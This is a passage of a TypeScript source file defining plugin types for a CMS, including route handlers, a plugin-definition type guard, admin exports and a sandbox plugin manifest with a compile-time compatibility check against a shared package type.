dependencies?: string[];
errorPolicy?: "continue" | "abort";
exclusive?: boolean;
};
/**
* Standard plugin route handler -- takes (routeCtx, pluginCtx) like sandbox entries.
* The routeCtx contains input and request info; pluginCtx is the full plugin context.
*
* Uses `any` for routeCtx to allow plugins to access properties like
* `routeCtx.request.url` without needing exact type matches across
* trusted (Request object) and sandboxed (plain object) modes.
*/
// eslint-disable-next-line typescript-eslint/no-explicit-any -- see above
export type StandardRouteHandler = (routeCtx: any, ctx: PluginContext) => Promise<unknown>;
/**
* Standard plugin route entry -- either a config object with handler, or just a handler.
*/
export interface StandardRouteEntry {
handler: StandardRouteHandler;
input?: unknown;
public?: boolean;
}
/**
* Standard plugin definition -- the sandbox entry format.
* Used by standard plugins that work in both trusted and sandboxed modes.
* No id/version/capabilities -- those come from the descriptor.
*
* This is the input to definePlugin() for standard-format plugins.
*
* The hooks and routes use permissive types (Record<string, any>) so that
* plugin authors can annotate their handlers with specific event types
* without type errors from strictFunctionTypes contravariance.
*/
export interface StandardPluginDefinition {
// eslint-disable-next-line typescript-eslint/no-explicit-any -- must accept handlers with specific event/route types
hooks?: Record<string, any>;
// eslint-disable-next-line typescript-eslint/no-explicit-any -- must accept handlers with specific event/route types
routes?: Record<string, any>;
}
/**
* Check if a value is a StandardPluginDefinition (has hooks/routes but no id/version).
*/
export function isStandardPluginDefinition(value: unknown): value is StandardPluginDefinition {
if (typeof value !== "object" || value === null) return false;
// Standard format: has hooks or routes, but NOT id+version (which are on PluginDefinition)
const hasPluginShape = "hooks" in value || "routes" in value;
const hasNativeShape = "id" in value && "version" in value;
return hasPluginShape && !hasNativeShape;
}
// =============================================================================
// Plugin Admin Exports
// =============================================================================
/**
* What a plugin exports from its /admin entrypoint
* Uses generic component type to avoid React dependency
*/
export interface PluginAdminExports {
widgets?: Record<string, JSX.Element>;
pages?: Record<string, JSX.Element>;
fields?: Record<string, JSX.Element>;
}
// =============================================================================
// Sandbox Types
// =============================================================================
/**
* Plugin manifest — the metadata portion of a plugin bundle, used for
* sandboxed plugins loaded from the marketplace.
*
* This interface is core's stricter version of the manifest contract: it
* uses the exhaustive `HookName` union and core's typed `PluginAdminConfig`.
* The wire-shape lives in `@emdash-cms/plugin-types` as `PluginManifest`
* with looser types (so the registry CLI can serialise hook names it
* doesn't know about). Both must stay structurally compatible: every value
* of this type must be assignable to the shared one. The static assertion
* below catches any drift at compile time.
*/
export interface PluginManifest {
id: string;
version: string;
capabilities: PluginCapability[];
allowedHosts: string[];
storage: PluginStorageConfig;
/** Hook declarations — either plain name strings or structured objects */
hooks: Array<ManifestHookEntry | HookName>;
/** Route declarations — either plain name strings or structured objects */
routes: Array<ManifestRouteEntry | string>;
admin: PluginAdminConfig;
}
// Type-level guard: core's `PluginManifest` is intentionally a SUBTYPE of
// the shared wire shape (`@emdash-cms/plugin-types` `PluginManifest`). The
// wire shape uses looser types like `string` for hook names so the registry
// CLI can serialise plugins targeting hook versions this core doesn't yet
// know about. Core narrows `string` to `HookName` and `Record<string,
// unknown>` to `PluginAdminConfig` because core's loader actually executes
// against those types.
//
// We assert one direction at compile time: `core extends shared`. The
// reverse direction (`shared extends core`) intentionally does NOT hold
// because shared is wider -- a manifest written against the wire shape
// could carry a hook name core doesn't know. That runtime narrowing is the
// job of `manifest-schema.ts` (zod-validated, called at every JSON.parse
// of a manifest.json), not of the type system. The static check below
// catches the OTHER failure mode: core adding a required field or
// non-assignable type that the wire shape doesn't allow.
//
// `type X = never` is itself legal as a type alias, so the assertion has to
// be in a value position (`const _check: T = true`) for the compiler to
// error when T resolves to `never`. Don't replace this with a bare type
// alias.
type _AssertManifestCompat =
PluginManifest extends import("@emdash-cms/plugin-types").PluginManifest ? true : never;
// eslint-disable-next-line @typescript-eslint/no-unused-vars
const _MANIFEST_COMPAT: _AssertManifestCompat = true;